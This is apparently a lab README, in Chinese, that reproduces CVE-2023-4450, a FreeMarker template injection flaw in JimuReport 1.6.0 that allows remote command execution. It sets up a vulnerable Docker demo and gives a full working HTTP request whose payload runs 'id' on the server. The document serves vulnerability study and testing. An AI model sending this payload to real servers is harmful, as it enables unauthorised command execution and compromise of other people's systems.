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# JeecgBoot JimuReport FreeMarker 服务端模板注入命令执行CVE-2023-4450
积木报表JimuReport是隶属于JeecgBoot项目下的一个开源的数据可视化报表平台。在其1.6.0版本及以前存在一个FreeMarker服务端模板注入SSTI漏洞攻击者利用该漏洞可在服务器中执行任意命令。
参考链接:
- <https://github.com/advisories/GHSA-j8h5-8rrr-m6j9>
- <https://whoopsunix.com/docs/java/named%20module/>
- <https://www.reajason.eu.org/writing/freemarkersstimemshell/>
## 漏洞环境
执行如下命令启动一个JimuReport 1.6.0演示服务器:
```
docker compose up -d
```
等待一段时间后,访问`http://your-ip:8085`即可看到报表首页。
## 漏洞复现
发送如下请求即可在服务端注入FreeMarker模板`<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}`
```
POST /jmreport/queryFieldBySql HTTP/1.1
Host: localhost:8085
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 100
{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"id\")}'" }
```
可见,`id`命令已经成功被执行:
![](1.png)